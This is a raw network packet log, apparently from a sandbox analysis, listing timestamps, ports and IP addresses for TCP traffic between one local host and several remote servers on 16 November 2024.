Nov 16, 2024 23:36:18.699325085 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.730549097 CET	49711	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.730575085 CET	443	49711	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.731422901 CET	49711	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.731497049 CET	443	49711	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.731560946 CET	49711	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.746283054 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.759272099 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.759474993 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.759685040 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.759694099 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.761452913 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.763127089 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.763134003 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.765990973 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.766043901 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.766052008 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.774617910 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.774960041 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.774967909 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.783401012 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.785773993 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.785784006 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.792154074 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.792341948 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.792356968 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.800699949 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.800756931 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.800764084 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.808449030 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.808510065 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.808516026 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.816251993 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.816308022 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.816314936 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.871519089 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.871563911 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.888765097 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.888873100 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.888971090 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.889039040 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.889050007 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.889131069 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.889183044 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.889189959 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.889277935 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.889364004 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.889364004 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.889394999 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.889455080 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.889478922 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.889580011 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.889621019 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.889652014 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.889657974 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.889724016 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.895306110 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.898686886 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.898736954 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.898739100 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.898750067 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.898794889 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.904614925 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.909800053 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.909889936 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.911120892 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.911130905 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.911185026 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.916162014 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.922568083 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.922656059 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.922741890 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.922751904 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.923074961 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.929706097 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.934575081 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.934657097 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.934657097 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.934681892 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.934735060 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.940196991 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.945921898 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.946005106 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.946059942 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.946069002 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.946119070 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.951461077 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.957484007 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.957565069 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.957621098 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.957628965 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.957679987 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.963713884 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.986602068 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.986733913 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.986741066 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.995481968 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.995572090 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.995613098 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.995620012 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.995717049 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.995791912 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.995800018 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.995918989 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.996408939 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.996695995 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.996777058 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.996838093 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.996845007 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:18.996999979 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:18.997603893 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:19.003062963 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:19.003176928 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:19.003181934 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:19.003206015 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:19.003333092 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:19.008753061 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:19.013895988 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:19.014003992 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:19.014025927 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:19.014033079 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:19.014120102 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:19.017409086 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:19.020492077 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:19.020572901 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:19.020628929 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:19.020637989 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:19.020688057 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:19.023726940 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:19.027077913 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:19.027159929 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:19.027209044 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:19.027216911 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:19.027264118 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:19.030178070 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:19.033179998 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:19.033261061 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:19.033324003 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:19.033330917 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:19.033379078 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:19.036223888 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:19.090162039 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:19.090167999 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:19.090598106 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:19.090883017 CET	443	49710	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:19.091052055 CET	49710	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:19.174119949 CET	443	49708	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:19.219815016 CET	49708	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:19.219836950 CET	443	49708	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:19.231872082 CET	49708	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:19.232155085 CET	443	49708	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:19.232595921 CET	443	49708	142.250.185.196	192.168.2.5
Nov 16, 2024 23:36:19.232687950 CET	49708	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:19.232687950 CET	49708	443	192.168.2.5	142.250.185.196
Nov 16, 2024 23:36:19.290793896 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:19.290890932 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:19.290992022 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:19.291282892 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:19.291304111 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.066565037 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.066685915 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.069899082 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.069920063 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.070875883 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.077819109 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.123331070 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.296092987 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.296155930 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.296200037 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.296246052 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.296298981 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.296417952 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.296417952 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.330329895 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.330348015 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.330447912 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.330491066 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.330550909 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.412769079 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.412818909 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.412905931 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.412935019 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.412961960 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.412982941 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.447345018 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.447391987 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.447433949 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.447470903 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.447469950 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.447525978 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.449796915 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.449843884 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.449879885 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.449896097 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.449920893 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.449939013 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.490686893 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.490731001 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.490767002 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.490782976 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.490812063 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.490833998 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.530204058 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.530253887 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.530349970 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.530371904 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.530405998 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.530424118 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.563637972 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.563698053 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.563740015 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.563766956 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.563796043 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.563815117 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.565185070 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.565232038 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.565264940 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.565279961 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.565306902 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.565335035 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.566199064 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.566243887 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.566267014 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.566278934 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.566308022 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.566328049 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.568101883 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.568156004 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.568186998 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.568200111 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.568279982 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.568279982 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.607708931 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.607774973 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.607801914 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.607817888 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.607850075 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.607872009 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.646416903 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.646470070 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.646522045 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.646569014 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.646599054 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.646605968 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.646621943 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.646641970 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.646668911 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.646783113 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.646817923 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.646863937 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.646894932 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.646894932 CET	49717	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.646914959 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.646939039 CET	443	49717	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.690169096 CET	49719	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.690193892 CET	443	49719	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.690270901 CET	49719	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.692409992 CET	49719	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.692418098 CET	49720	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.692435980 CET	443	49719	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.692508936 CET	443	49720	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.692593098 CET	49720	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.692862988 CET	49720	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.692900896 CET	443	49720	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.693547010 CET	49721	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.693581104 CET	443	49721	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.693627119 CET	49721	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.693730116 CET	49721	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.693738937 CET	443	49721	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.694351912 CET	49722	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.694375992 CET	443	49722	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.694433928 CET	49722	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.694835901 CET	49723	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.694848061 CET	443	49723	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.694891930 CET	49723	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.695684910 CET	49722	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.695712090 CET	443	49722	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.695787907 CET	49723	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:20.695801020 CET	443	49723	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:20.764265060 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:20.764272928 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:20.764317989 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:20.764488935 CET	49725	443	192.168.2.5	216.58.206.78
Nov 16, 2024 23:36:20.764503956 CET	443	49725	216.58.206.78	192.168.2.5
Nov 16, 2024 23:36:21.083414078 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:21.083646059 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:21.426716089 CET	443	49719	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:21.434530973 CET	443	49722	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:21.434556007 CET	443	49720	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:21.437089920 CET	443	49721	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:21.443682909 CET	443	49723	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:21.470046043 CET	49723	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:21.470057964 CET	443	49723	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:21.470717907 CET	49723	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:21.470722914 CET	443	49723	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:21.471153021 CET	49721	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:21.471159935 CET	443	49721	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:21.471839905 CET	49721	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:21.471846104 CET	443	49721	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:21.472445011 CET	49719	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:21.472507954 CET	443	49719	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:21.473073006 CET	49719	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:21.473088026 CET	443	49719	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:21.473850012 CET	49722	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:21.473913908 CET	443	49722	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:21.474467993 CET	49722	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:21.474483967 CET	443	49722	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:21.474874020 CET	49720	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:21.474889040 CET	443	49720	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:21.475673914 CET	49720	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:21.475684881 CET	443	49720	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:21.596579075 CET	443	49721	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:21.596631050 CET	443	49721	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:21.596729040 CET	49721	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:21.596746922 CET	443	49721	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:21.596781015 CET	443	49721	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:21.596832037 CET	49721	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:21.599150896 CET	443	49723	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:21.599301100 CET	443	49723	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:21.599354982 CET	49723	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:21.600075960 CET	443	49722	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:21.600382090 CET	443	49722	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:21.600575924 CET	49722	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:21.601326942 CET	443	49719	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:21.601346970 CET	443	49719	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:21.601392984 CET	443	49719	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:21.601408958 CET	49719	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:21.601471901 CET	49719	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:21.602066040 CET	49721	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:21.602086067 CET	443	49721	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:21.602098942 CET	49721	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:21.602106094 CET	443	49721	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:21.603348017 CET	49719	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:21.603368998 CET	443	49719	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:21.603379965 CET	49719	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:21.603384972 CET	443	49719	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:21.603887081 CET	49723	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:21.603894949 CET	443	49723	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:21.603905916 CET	49723	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:21.603912115 CET	443	49723	13.107.246.45	192.168.2.5
